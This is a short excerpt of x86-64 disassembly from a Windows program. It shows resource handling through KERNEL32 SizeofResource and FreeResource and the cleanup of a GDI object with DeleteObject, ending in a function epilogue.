lea rcx, [rsp + 0x20]
call fcn.1400f8bc0
nop
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r8d, eax
mov rdx, r15
lea rcx, [rsp + 0x20]
call fcn.1400f8a90
test rax, rax
je 0x1400f9ebc
mov rdi, qword [rsp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.1400f8bc0
nop
lea rcx, [rsp + 0x20]
call fcn.1400f8030
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
test rdi, rdi
je 0x1400f9ef7
cmp ebx, 3
jne 0x1400f9ef2
mov rcx, rdi
call fcn.1400fa5e0
mov rbx, rax
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rax, rbx
jmp 0x1400f9ef9
mov rax, rdi
jmp 0x1400f9ef9
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret